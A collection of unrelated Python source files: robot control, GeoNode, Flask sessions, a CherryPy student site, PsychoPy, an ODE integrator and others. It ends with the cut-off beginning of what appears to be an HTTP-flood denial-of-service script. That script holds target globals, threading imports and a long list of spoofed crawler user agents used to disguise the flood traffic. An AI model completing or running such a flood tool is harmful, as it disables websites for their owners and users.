int(data[1]+data[2]+data[3]) positionYRobot = int(data[8]+data[9]+data[10]+data[11]) repereY = int(data[16]+data[17]+data[18]+data[19]) ratioCMPixel = float(data[20] + data[21] + data[22] + data[23]) angleOrientation = coteDeTableAvecTresor * 90 - orientationRobot if angleOrientation < 0: angleOrientation = abs(angleOrientation) controleurDeplacement.rotationHoraire(angleOrientation, 0.5) else: controleurDeplacement.rotationAHoraire(angleOrientation, 0.5) controleurCamera.set_camera_angle_x(90) controleurCamera.set_camera_angle_y(45) photo = cameraRobot.prendrePhoto() distanceAjuste = 1000 while distanceAjuste > 5: distanceAjuste,distanceAuTresor = ajustement.Ajustement(photo, orientationRobot, positionYRobot, repereY, ratioCMPixel) if distanceAjuste < 0: controleurDeplacement.gauche(distanceAjuste,0.3) else: controleurDeplacement.droite(distanceAjuste,0.3) controleurDeplacement.avancer(distanceAuTresor,0.3) #activer Levage de trésor retour = 'fini' + voltageText elif data[0] == '5': angleOrientation = int(data[1] + data[2] + data[3] + data[4]) if angleOrientation < 180: controleurDeplacement.rotationAHoraire(angleOrientation, 0.5) else: angleOrientation = 360 - angleOrientation controleurDeplacement.rotationHoraire(angleOrientation, 0.5) cv2.waitKey(tempsAttente) distanceAAvance = int(data[5] + data[6] + data[7]) controleurDeplacement.avancer(distanceAAvance, 0.5) cv2.waitKey(tempsAttente) #relacher tresor retour = 'finiCycle' + voltageText else: retour = data psockfd.send(bytes(retour,encoding="UTF-8")) os._exit(0)
phil888/Design3
Livrable3/Remise/Code source et tests/source/Robot.py
Python
gpl-3.0
8,491
# -*- coding: utf-8 -*- ######################################################################### # # Copyright (C) 2017 OSGeo # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ######################################################################### from django.core.management.base import BaseCommand from geonode.layers.models import Layer import logging logger = logging.getLogger(__name__) class Command(BaseCommand): help = 'Resets Permissions to Public for All Layers' def add_arguments(self, parser): parser.add_argument( '-i', '--ignore-errors', action='store_true', dest='ignore_errors', default=False, help='Stop after any errors are encountered.' ) parser.add_argument( '-f', '--filter', dest="filter", default=None, help="Only update data the layers that match the given filter"), parser.add_argument( '-u', '--username', dest="username", default=None, help="Only update data owned by the specified username") def handle(self, *args, **options): ignore_errors = options.get('ignore_errors') filter = options.get('filter') if not options.get('username'): username = None else: username = options.get('username') all_layers = Layer.objects.all().order_by('name') if filter: all_layers = all_layers.filter(name__icontains=filter) if username: all_layers = all_layers.filter(owner__username=username) for index, layer in enumerate(all_layers): logger.info("[%s / %s] Checking 'alternate' of Layer [%s] ..." % ((index + 1), len(all_layers), layer.name)) try: if not layer.alternate: layer.alternate = layer.typename layer.save() except Exception as e: # import traceback # traceback.print_exc() if ignore_errors: logger.error("[ERROR] Layer [%s] couldn't be updated" % (layer.name)) else: raise e
francbartoli/geonode
geonode/base/management/commands/set_all_layers_alternate.py
Python
gpl-3.0
2,844
# -*- coding: utf-8 -*- # StreetSign Digital Signage Project # (C) Copyright 2013 Daniel Fairhead # # StreetSign is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # StreetSign is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with StreetSign. If not, see <http://www.gnu.org/licenses/>. # # --------------------------------- ''' streetsign_server.user_session factor out the session handling stuff, so that the views don't need to worry about it. ''' from flask import session from streetsign_server.models import user_login, user_logout, get_logged_in_user def login(username, password): ''' given a username and password, try to log in (via the db), create a new session id, and set all required session cookie values. Fails with a models password exception if not valid. ''' user, sessionid = user_login(username, password) session['username'] = user.loginname session['userid'] = user.id # note: this is *potentially* less secure. Always confirm against # real user data before accepting any values: session['display_admin_stuff'] = user.is_admin session['sessionid'] = sessionid session['logged_in'] = True return user class NotLoggedIn(Exception): ''' Basic exception for when you MUST be logged in, but aren't. ''' pass def get_user(): ''' if the user's session cookie thinks they're not logged in, raise NotLoggedIn. if the user thinks they are logged in, confirm against the server that they have an active session that we know about, and if not, clear the session they think they have. (Protection against session hi-jacking, and against changing your session user so something it shouldn't be. The encrypted sessions should not allow this anyway, but this is an extra precaution, for double paranoia. ''' if not 'logged_in' in session: raise NotLoggedIn('Not logged in!') try: return get_logged_in_user(session['username'], session['sessionid']) except: session.pop('username', None) session.pop('sessionid', None) session.pop('display_admin_stuff', None) session.pop('logged_in', None) return None def logged_in(): ''' is there a 'logged_in' in the user's session cookie? ''' return 'logged_in' in session def logout(): ''' remove our current session from the database session list, and clear all relevant session cookie vars. ''' try: user_logout(session['username'], session['sessionid']) except: pass # somehow the session expired. but we're logging out anyway. session.pop('username', None) session.pop('sessionid', None) session.pop('display_admin_stuff', None) session.pop('logged_in', None) def is_admin(): ''' check session against db that the current user is an admin. Doesn't raise any exceptions, simply returns False if there is an issue ''' # convenience method. Makes certain views a lot shorter. try: return get_user().is_admin except: return False
danthedeckie/streetsign
streetsign_server/user_session.py
Python
gpl-3.0
3,581
#@+leo-ver=5-thin #@+node:lee.20141215164031.94: * @file example.py #@@language python #@@tabwidth -4 #@+<<decorations>> #@+node:lee.20141215164031.95: ** <<decorations>> import cherrypy import random from std.asciisymbol import asciiImage from wsgi import env #@-<<decorations>> #@+others #@+node:lee.20141215164031.96: ** class Application class Application(object): #@+others #@+node:lee.20141221203113.62: *3* def __init__ def __init__(self): self.name = '陳律廷' self.number = '40323141' self.classes = '四設計一甲' self.github_repo_url = 'https://github.com/mdeta/2014-cp-ab' self.evaluation = [('Project 7',75 ), ('Project 8',75 ), ('Project 9',75 )] self.photo_url = 'https://copy.com/thumbs_public/TkTnLu73nuMT/41.jpg?size=1024' #@+node:lee.20141215164031.97: *3* def get_nav def get_nav(self): """ 取得 nav link """ #(URL 路徑, anchor name) anchors = [('index', 'home'), ('guessForm', '猜數字'), ('multipliedTable', '乘法表'), ('asciiForm', '使用圖案印出字'), (self.github_repo_url, 'github repository'), ('/', 'back to list')] return anchors #@+node:lee.20141215164031.98: *3* def index @cherrypy.expose def index(self): """ 個人首頁 """ # 取得模板 tmpl = env.get_template('personal_page.html') # 設定額外變數 extra_content = { 'title': 'personal page -' + self.name, 'photo_url': self.photo_url, 'std_name': self.name, 'ID':self.number, # class 在 mako 底下是關鍵字 'classes':self.classes, 'anchors':self.get_nav(), 'self_evaluations':self.evaluation } # 宣染 return tmpl.render(**extra_content) #@+node:lee.20141215164031.99: *3* def guessForm @cherrypy.expose def guessForm(self, guessNumber=None): # get template tmpl = env.get_template('form.html') form = """ <form action="" method="get"> <label for="guessNumber">Guess Number(1~99)</label> <input name="guessNumber" type="text"> <input type="submit" value="Send" class="button button-primary"> </form> """ # set common content extra_content = {'title':'guessform', 'form':form, 'anchors':self.get_nav()} # get count from session count = cherrypy.session.get("count", None) # if is None, it mean it does not exist if not count: # create one count = cherrypy.session["count"] = 0 # get answer from session answer = cherrypy.session.get("answer", None) # if is None, it mean it does not exist if not answer: # create one answer = cherrypy.session["answer"] = random.randint(1, 100) # 設定在哪種情況下該回傳哪種訊息 message = { "welcome": "guess a number from 1 to 99", "error": "must input a number, your input is %s" % str(guessNumber), "successful": "correct! your input is %s answer is %d total count %d" % (str(guessNumber), answer, count), "smaller": "smaller than %s and total count %d" % (str(guessNumber), count), "bigger": "bigger than %s and total count %d" % (str(guessNumber), count), } #假如 guessNumber is None, 表示是第一次進來, 或是未傳值 if guessNumber is None: extra_content['output'] = message['welcome'] return tmpl.render(**extra_content) # 其他, 表示要開始處理 guessNumber else: # convert guessNumber to int try: guessNumber = int(guessNumber) except: # if fail # throw error extra_content['output'] = message['error'] return tmpl.render(**extra_content) # convert ok, make count plus one, everytime cherrypy.session["count"] += 1 if guessNumber == answer: # clear session count and answer del cherrypy.session["count"] del cherrypy.session["answer"] # throw successful extra_content['form'] = '' extra_content['output'] = message["successful"]+'<a href="guessForm">play again</a>' elif guessNumber > answer: # throw small than guessNumber extra_content['output'] = message["smaller"] else: # throw bigger than guessNumber extra_content['output'] = message["bigger"] return tmpl.render(**extra_content) #@+node:lee.20141215164031.100: *3* def multipliedTable @cherrypy.expose def multipliedTable(self, first=None, second=None): # get template tmpl = env.get_template('form.html') # set up messages message = { 'error': 'you must input correct type data.', 'welcome': 'Welcome to multiplied table page.', } # set up form # two variable # first, second form = """ <form action="" method="post"> <label for="first">first number(an integer)</label> <input name="first" type="text"> <label for="first">second number(an integer)</label> <input name="second" type="text"> <input type="submit" value="Send" class="button button-primary"> </form> """ # set extra content variable extra_content = { 'title': 'multipliedTable', 'form': form, 'anchors': self.get_nav()} # if first and second parameter is None # set output to welcome if first is None and second is None: extra_content['output'] = message.get('welcome') return tmpl.render(**extra_content) # try convert to integer try: first = int(first) second = int(second) except: #raise error extra_content['output'] = message.get('error') return tmpl.render(extra_content) # start process output = '' for f in range(1, first + 1): for s in range(1, second + 1): output += str(f) + '*' + str(s) + '=' + str(f * s) + '<br/>' # update extra content extra_content['output'] = '<p>' + output + '</p>' # render return tmpl.render(**extra_content) #@+node:lee.20141215164031.101: *3* def asciiForm @cherrypy.expose def asciiForm(self, text=None): # get template tmpl = env.get_template('form.html') # set up messages messages = { 'welcome': 'welcome to ascii form', } # set up form # variable text form = """ <form method="get" action=""> <label for="text">Say....</label> <input type="text" name="text" /> <input type="submit" value="Send" class="button button-primary"> </form> """ # set up extra content extra_content = { 'title': 'asciiForm', 'form': form, 'anchors': self.get_nav() } # if text is None, set output to welcome if text is None: extra_content['output'] = messages.get('welcome') # if not None, start process else: # use module asciisymol's asciiImage function # one arg, input type string extra_content['output'] = asciiImage(text) # render return tmpl.render(**extra_content) #@-others #@-others #@-leo
dora40323106/2014cpa_final_project
std/a40323141.py
Python
gpl-3.0
7,813
#!/usr/bin/env python # -*- coding: utf-8 -*- """Platform specific extensions (using ctypes)""" # Part of the PsychoPy library # Copyright (C) 2002-2018 Jonathan Peirce (C) 2019-2020 Open Science Tools Ltd. # Distributed under the terms of the GNU General Public License (GPL). from __future__ import absolute_import, print_function import sys import platform # dummy methods should be overridden by imports below if they exist def rush(value=False, realtime=False): """ """ # dummy method. return False def waitForVBL(): """DEPRECATED: waiting for a VBL is handled by the screen flip """ return False def sendStayAwake(): """Sends a signal to your system to indicate that the computer is in use and should not sleep. This should be sent periodically, but PsychoPy will send the signal by default on each screen refresh. Added: v1.79.00. Currently supported on: windows, macOS """ return False # NB includes vista and 7 (but not sure about vista64) if sys.platform == 'win32': from .win32 import * # pylint: disable=W0401 elif sys.platform == 'darwin': from .darwin import * # pylint: disable=W0401 elif sys.platform.startswith('linux'): # normally 'linux2' from .linux import * # pylint: disable=W0401 elif sys.platform == 'posix': # ever?! from .posix import * # pylint: disable=W0401
psychopy/versions
psychopy/platform_specific/__init__.py
Python
gpl-3.0
1,379
# -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*- ### BEGIN LICENSE # This file is in the public domain ### END LICENSE ### DO NOT EDIT THIS FILE ### """Helpers for an Ubuntu application.""" import logging import os from . python_nameconfig import get_data_file from . Builder import Builder from locale import gettext as _ def get_builder(builder_file_name): """Return a fully-instantiated Gtk.Builder instance from specified ui file :param builder_file_name: The name of the builder file, without extension. Assumed to be in the 'ui' directory under the data path. """ # Look for the ui file that describes the user interface. ui_filename = get_data_file('ui', '%s.ui' % (builder_file_name,)) if not os.path.exists(ui_filename): ui_filename = None builder = Builder() builder.set_translation_domain('project_name') builder.add_from_file(ui_filename) return builder # Owais Lone : To get quick access to icons and stuff. def get_media_file(media_file_name): media_filename = get_data_file('media', '%s' % (media_file_name,)) if not os.path.exists(media_filename): media_filename = None return "file:///"+media_filename class NullHandler(logging.Handler): def emit(self, record): pass def set_up_logging(opts): # add a handler to prevent basicConfig root = logging.getLogger() null_handler = NullHandler() root.addHandler(null_handler) formatter = logging.Formatter("%(levelname)s:%(name)s: %(funcName)s() '%(message)s'") logger = logging.getLogger('python_name') logger_sh = logging.StreamHandler() logger_sh.setFormatter(formatter) logger.addHandler(logger_sh) lib_logger = logging.getLogger('python_name_lib') lib_logger_sh = logging.StreamHandler() lib_logger_sh.setFormatter(formatter) lib_logger.addHandler(lib_logger_sh) # Set the logging level to show debug messages. if opts.verbose: logger.setLevel(logging.DEBUG) logger.debug('logging enabled') if opts.verbose > 1: lib_logger.setLevel(logging.DEBUG) def get_help_uri(page=None): # help_uri from source tree - default language here = os.path.dirname(__file__) help_uri = os.path.abspath(os.path.join(here, '..', 'help', 'C')) if not os.path.exists(help_uri): # installed so use gnome help tree - user's language help_uri = 'project_name' # unspecified page is the index.page if page is not None: help_uri = '%s#%s' % (help_uri, page) return help_uri def show_uri(parent, link): from gi.repository import Gtk # pylint: disable=E0611 screen = parent.get_screen() Gtk.show_uri(screen, link, Gtk.get_current_event_time()) def alias(alternative_function_name): '''see http://www.drdobbs.com/web-development/184406073#l9''' def decorator(function): '''attach alternative_function_name(s) to function''' if not hasattr(function, 'aliases'): function.aliases = [] function.aliases.append(alternative_function_name) return function return decorator
didrocks/quickly
data/templates/ubuntu-application/project_root/python_lib/helpers.py
Python
gpl-3.0
3,153
# -*- coding: utf-8 -*- """ Created on Mon May 9 14:35:12 2016 @author: lifu """ import numpy as np from legonet.models import NeuralNetwork from legonet.layers import FullyConnected, Input from legonet.regularizers import l2 from legonet.optimizers import Adam nn = NeuralNetwork(optimizer=Adam(), log_dir='logs') nn.add(Input(128)) nn.add(FullyConnected(64, 'relu', weight_regularizer=l2(0.001), name="FC1")) nn.add(FullyConnected(32, 'relu', weight_regularizer=l2(0.001), name="FC2")) nn.add(FullyConnected(5, weight_regularizer=l2(0.001), name="Output")) nn.build() X = np.random.randn(1000, 128) y = np.random.randint(0, 5, 1000) try: nn.load_checkpoint('./checkpoints/') print 'checkpoint loaded!' except Exception as e: print 'Cannot load checkpoint file, a new model is used!' nn.fit(X, y, n_epochs=1000, batch_size=64, freq_checkpoint=10000, checkpoint_dir='./checkpoints/', loss_decay=0.9)
lifuhuang/legonet
demos/mlp_demo.py
Python
gpl-3.0
927
import numpy as np from numpy import linalg import numbers, math, os import cPickle as pickle class OdeTrajectory (object): def __init__(self, system, time, dt, u0 = None, tol=1e-8, t0 = 0.0 ): if callable(system) and hasattr(system, 'dim') and hasattr(system, 'dfdu'): self.system = system else: raise TypeError('Require system to be compatible with ode.Ode type') self.dt = dt self.tol = tol self.t0 = t0 self.u0 = u0 if isinstance(time, numbers.Number): self.end_time = float(time) elif isinstance(time, tuple) and len(time) == 2: self.windup_time, self.end_time = time else: raise TypeError("Require either numeric or 2-tuple of numeric types for time paramater") self.N = int( math.ceil( self.end_time / self.dt ) ) - 1 self.end_time = (self.N+1)*self.dt self.times = self.t0 + np.arange( 0, self.end_time, self.dt ) def create(self): "Create the trajectory using Implicit-Trapezoidal scheme for integration" if self.windup: Nw = int( math.ceil( self.windup_time/self.dt ) ) - 1 u0 = np.ones(self.system.dim) if self.u0 is None else self.u0 u = trapIntegrate(self.system, u0, self.dt, Nw, tol=self.tol, t0 = self.t0-(Nw+1)*self.dt) u0 = u[-1] self.u = trapIntegrate(self.system, u0, self.dt, self.N, tol=self.tol, t0=self.t0) return self @property def windup(self): return hasattr(self, 'windup_time') @property def dim(self): return self.system.dim def __getitem__(self, args): return self.u[args] def save(self, filename): with open(filename, 'wb') as data_file: data = {'dt':self.dt, 'u': self.u, 't0':self.t0, 'system':self.system } pickle.dump(data, data_file, protocol=pickle.HIGHEST_PROTOCOL) class Trajectory (OdeTrajectory): "Defines a trajectory that can be created or optionally loaded from file" def __init__(self, *args, **kwargs): self.filename = kwargs.pop('filename', 'data.traj' ) if not self.filename.endswith('.traj'): self.filename += '.traj' create = kwargs.pop('create', False) if os.path.isfile(self.filename) and not create: with open(self.filename, 'rb') as data_file: data = pickle.load(data_file) self.dt = data['dt'] u = data['u'] self.N = len(u)-1 self.u = u self.end_time = (self.N+1) * self.dt self.t0 = data['t0'] self.tol = kwargs.pop('tol', 1e-8) self.u0 = self.u[0] self.system = data['system'] self.times = self.t0 + np.arange( 0, self.end_time, self.dt ) else: super(Trajectory, self).__init__(*args, **kwargs) self.create() self.save(self.filename) def trapIntegrate( f, u0, dt, N, tol=1e-8, t0 = 0.0): 'Helper function to integrate ode using Implicit-Trapezoidal rule' u_traj = np.zeros( (N+1,f.dim) ) u_traj[0] = u0 u0 = u0.copy() f0 = f( u0, t0) I = np.eye(f.dim) for i in xrange(1, N+1): t = t0 + i*dt w = u0.copy() R = dt*f0 nr = linalg.norm(R) while nr > tol: #Newton-Raphson loop dR = I - (dt/2.)*f.dfdu(w,t) w -= linalg.solve(dR, R) fw = f(w,t) R = w - u0 - (dt/2.)*( f0 + fw ) nr = linalg.norm(R) f0 = fw u0 = w u_traj[i] = u0 return np.array(u_traj)
gomezstevena/LSSSolver
trajectory.py
Python
gpl-3.0
3,693
import urllib2 import sys import threading import random import re #global params url='' host='' headers_useragents=[] headers_referers=[] request_counter=0 flag=0 safe=0 def inc_counter(): global request_counter request_counter+=1 def set_flag(val): global flag flag=val def set_safe(): global safe safe=1 # generates a user agent array def useragent_list(): global headers_useragents headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('(DreamPassport/3.0; isao/MyDiGiRabi)') headers_useragents.append('(Privoxy/1.0)') headers_useragents.append('*/Nutch-0.9-dev') headers_useragents.append('+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)') headers_useragents.append('-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de') headers_useragents.append('123spider-Bot (Version: 1.02) powered by www.123spider.de') headers_useragents.append('192.comAgent') headers_useragents.append('1st ZipCommander (Net) - http://www.zipcommander.com/') headers_useragents.append('2Bone_LinkChecker/1.0 libwww-perl/5.64') headers_useragents.append('4anything.com LinkChecker v2.0') headers_useragents.append('8484 Boston Project v 1.0') headers_useragents.append(':robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )') headers_useragents.append('A-Online Search') headers_useragents.append('A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27') headers_useragents.append('A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24') headers_useragents.append('AbachoBOT') headers_useragents.append('AbachoBOT (Mozilla compatible)') headers_useragents.append('ABCdatos BotLink/5.xx.xxx#BBL') headers_useragents.append('Aberja Checkomat Aberja Hybridsuchmaschine (Germany)') headers_useragents.append('abot/0.1 (abot; http://www.abot.com; [email protected])') headers_useragents.append('About/0.1libwww-perl/5.47') headers_useragents.append('Accelatech RSSCrawler/0.4') headers_useragents.append('accoona Accoona Search robot') headers_useragents.append('Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)') headers_useragents.append('Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)') headers_useragents.append('Ace Explorer') headers_useragents.append('Ack (http://www.ackerm.com/)') headers_useragents.append('AcoiRobot') headers_useragents.append('Acoon Robot v1.50.001') headers_useragents.append('Acoon Robot v1.52 (http://www.acoon.de)') headers_useragents.append('Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)') headers_useragents.append('Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)') headers_useragents.append('Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)') headers_useragents.append('ActiveBookmark 1.x') headers_useragents.append('Activeworlds') headers_useragents.append('ActiveWorlds/3.xx (xxx)') headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it') headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js') headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com') headers_useragents.append('Anonymizer/1.1') headers_useragents.append('AnswerBus (http://www.answerbus.com/)') headers_useragents.append('AnswerChase PROve x.0') headers_useragents.append('AnswerChase x.0') headers_useragents.append('ANTFresco/x.xx') headers_useragents.append('antibot-V1.1.5/i586-linux-2.2') headers_useragents.append('AnzwersCrawl/2.0 ([email protected];Engine)') headers_useragents.append('Apexoo Spider 1.x') headers_useragents.append('Aplix HTTP/1.0.1') headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)') headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)') headers_useragents.append('Aport') headers_useragents.append('appie 1.1 (www.walhello.com)') headers_useragents.append('Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102') headers_useragents.append('Apple-PubSub/65.1.1') headers_useragents.append('ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)') headers_useragents.append('ArachBot') headers_useragents.append('Arachnoidea ([email protected])') headers_useragents.append('aranhabot') headers_useragents.append('ArchitextSpider') headers_useragents.append('archive.org_bot') headers_useragents.append('Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)') headers_useragents.append('Arikus_Spider') headers_useragents.append('Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)') headers_useragents.append('asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)') headers_useragents.append('ASPSeek/1.2.5') headers_useragents.append('ASPseek/1.2.9d') headers_useragents.append('ASPSeek/1.2.x') headers_useragents.append('ASPSeek/1.2.xa') headers_useragents.append('ASPseek/1.2.xx') headers_useragents.append('ASPSeek/1.2.xxpre') headers_useragents.append('ASSORT/0.10') headers_useragents.append('asterias/2.0') headers_useragents.append('AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)') headers_useragents.append('Atomic_Email_Hunter/4.0') headers_useragents.append('Atomz/1.0') headers_useragents.append('atSpider/1.0') headers_useragents.append('Digger/1.0 JDK/1.3.0rc3') headers_useragents.append('DigOut4U') headers_useragents.append('DIIbot/1.2') headers_useragents.append('Dillo/0.8.5-i18n-misc') headers_useragents.append('Dillo/0.x.x') headers_useragents.append('disastrous/1.0.5 (running with Python 2.5.1; http://www.bortzmeyer.org/disastrous.html; [email protected])') headers_useragents.append('DISCo Pump x.x') headers_useragents.append('disco/Nutch-0.9 (experimental crawler; www.discoveryengine.com; [email protected])') headers_useragents.append('disco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; [email protected])') headers_useragents.append('DittoSpyder') headers_useragents.append('dloader(NaverRobot)/1.0') headers_useragents.append('DNSRight.com WebBot Link Ckeck Tool. Report abuse to: [email protected]') headers_useragents.append('DoCoMo/1.0/Nxxxi/c10') headers_useragents.append('DoCoMo/1.0/Nxxxi/c10/TB') headers_useragents.append('DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0)') headers_useragents.append('DoCoMo/2.0 P900iV(c100;TB;W24H11)') headers_useragents.append('DoCoMo/2.0 SH901iS(c100;TB;W24H12))gzip(gfe) (via translate.google.com)') headers_useragents.append('DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)') headers_useragents.append('DoCoMo/2.0/SO502i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)') headers_useragents.append('DocZilla/1.0 (Windows; U; WinNT4.0; en-US; rv:1.0.0) Gecko/20020804') headers_useragents.append('dodgebot/experimental') headers_useragents.append('DonutP; Windows98SE') headers_useragents.append('Doubanbot/1.0 ([email protected] http://www.douban.com)') headers_useragents.append('Download Demon/3.x.x.x') headers_useragents.append('Download Druid 2.x') headers_useragents.append('Download Express 1.0') headers_useragents.append('Download Master') headers_useragents.append('Download Ninja 3.0') headers_useragents.append('Download Wonder') headers_useragents.append('Download-Tipp Linkcheck (http://download-tipp.de/)') headers_useragents.append('Download.exe(1.1) (+http://www.sql-und-xml.de/freeware-tools/)') headers_useragents.append('DownloadDirect.1.0') headers_useragents.append('Dr.Web (R) online scanner: http://online.drweb.com/') headers_useragents.append('Dragonfly File Reader') headers_useragents.append('Drecombot/1.0 (http://career.drecom.jp/bot.html)') headers_useragents.append('Drupal (+http://drupal.org/)') headers_useragents.append('DSurf15a 01') headers_useragents.append('DSurf15a 71') headers_useragents.append('DSurf15a 81') headers_useragents.append('DSurf15a VA') headers_useragents.append('DTAAgent') headers_useragents.append('dtSearchSpider') headers_useragents.append('Dual Proxy') headers_useragents.append('DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)') headers_useragents.append('Dumbot(version 0.1 beta - dumbfind.com)') headers_useragents.append('Dumbot(version 0.1 beta - http://www.dumbfind.com/dumbot.html)') headers_useragents.append('Dumbot(version 0.1 beta)') headers_useragents.append('e-sense 1.0 ea(www.vigiltech.com/esensedisclaim.html)') headers_useragents.append('e-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/)') headers_useragents.append('eApolloBot/2.0 (compatible; heritrix/2.0.0-SNAPSHOT-20071024.170148 +http://www.eapollo-opto.com)') headers_useragents.append('EARTHCOM.info/1.x [www.earthcom.info]') headers_useragents.append('EARTHCOM.info/1.xbeta [www.earthcom.info]') headers_useragents.append('EasyDL/3.xx') headers_useragents.append('EasyDL/3.xx http://keywen.com/Encyclopedia/Bot') headers_useragents.append('EBrowse 1.4b') headers_useragents.append('eCatch/3.0') headers_useragents.append('EchO!/2.0') headers_useragents.append('Educate Search VxB') headers_useragents.append('egothor/3.0a (+http://www.xdefine.org/robot.html)') headers_useragents.append('EgotoBot/4.8 (+http://www.egoto.com/about.htm)') headers_useragents.append('ejupiter.com') headers_useragents.append('EldoS TimelyWeb/3.x') headers_useragents.append('elfbot/1.0 (+http://www.uchoose.de/crawler/elfbot/)') headers_useragents.append('ELI/20070402:2.0 (DAUM RSS Robot) Daum Communications Corp.; +http://ws.daum.net/aboutkr.html)') headers_useragents.append('ELinks (0.x.x; Linux 2.4.20 i586; 132x60)') headers_useragents.append('ELinks/0.x.x (textmode; NetBSD 1.6.2 sparc; 132x43)') headers_useragents.append('EmailSiphon') headers_useragents.append('EmailSpider') headers_useragents.append('EmailWolf 1.00') headers_useragents.append('EmeraldShield.com WebBot') headers_useragents.append('EmeraldShield.com WebBot (http://www.emeraldshield.com/webbot.aspx)') headers_useragents.append('EMPAS_ROBOT') headers_useragents.append('EnaBot/1.x (http://www.enaball.com/crawler.html)') headers_useragents.append('endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)') headers_useragents.append('Enfish Tracker') headers_useragents.append('Enterprise_Search/1.0') headers_useragents.append('Enterprise_Search/1.0.xxx') headers_useragents.append('Enterprise_Search/1.00.xxx;MSSQL (http://www.innerprise.net/es-spider.asp)') headers_useragents.append('envolk/1.7 (+http://www.envolk.com/envolkspiderinfo.php)') headers_useragents.append('envolk[ITS]spider/1.6(+http://www.envolk.com/envolkspider.html)') headers_useragents.append('EroCrawler') headers_useragents.append('ES.NET_Crawler/2.0 (http://search.innerprise.net/)') headers_useragents.append('eseek-larbin_2.6.2 ([email protected])') headers_useragents.append('ESISmartSpider') headers_useragents.append('eStyleSearch 4 (compatible; MSIE 6.0; Windows NT 5.0)') headers_useragents.append('Firefox ([email protected])') headers_useragents.append('Firefox_1.0.6 ([email protected])') headers_useragents.append('FirstGov.gov Search - POC:[email protected]') headers_useragents.append('firstsbot') headers_useragents.append('Flapbot/0.7.2 (Flaptor Crawler; http://www.flaptor.com; crawler at flaptor period com)') headers_useragents.append('FlashGet') headers_useragents.append('FLATARTS_FAVICO') headers_useragents.append('Flexum spider') headers_useragents.append('Flexum/2.0') headers_useragents.append('FlickBot 2.0 RPT-HTTPClient/0.3-3') headers_useragents.append('flunky') headers_useragents.append('fly/6.01 libwww/4.0D') headers_useragents.append('flyindex.net 1.0/http://www.flyindex.net') headers_useragents.append('FnooleBot/2.5.2 (+http://www.fnoole.com/addurl.html)') headers_useragents.append('FocusedSampler/1.0') headers_useragents.append('Folkd.com Spider/0.1 beta 1 (www.folkd.com)') headers_useragents.append('FollowSite Bot ( http://www.followsite.com/bot.html )') headers_useragents.append('FollowSite.com ( http://www.followsite.com/b.html )') headers_useragents.append('Fooky.com/ScorpionBot/ScoutOut; http://www.fooky.com/scorpionbots') headers_useragents.append('Francis/1.0 ([email protected] http://www.neomo.de/)') headers_useragents.append('Franklin Locator 1.8') headers_useragents.append('free-downloads.net download-link validator /0.1') headers_useragents.append('FreeFind.com-SiteSearchEngine/1.0 (http://freefind.com; [email protected])') headers_useragents.append('Frelicbot/1.0 +http://www.frelic.com/') headers_useragents.append('FreshDownload/x.xx') headers_useragents.append('FreshNotes crawler< report problems to crawler-at-freshnotes-dot-com') headers_useragents.append('FSurf15a 01') headers_useragents.append('FTB-Bot http://www.findthebest.co.uk/') headers_useragents.append('Full Web Bot 0416B') headers_useragents.append('Full Web Bot 0516B') headers_useragents.append('Full Web Bot 2816B') headers_useragents.append('FuseBulb.Com') headers_useragents.append('FyberSpider (+http://www.fybersearch.com/fyberspider.php)') headers_useragents.append('unknownght.com Web Server IIS vs Apache Survey. See Results at www.DNSRight.com headers_useragents.append(') headers_useragents.append('factbot : http://www.factbites.com/robots') headers_useragents.append('FaEdit/2.0.x') headers_useragents.append('FairAd Client') headers_useragents.append('FANGCrawl/0.01') headers_useragents.append('FARK.com link 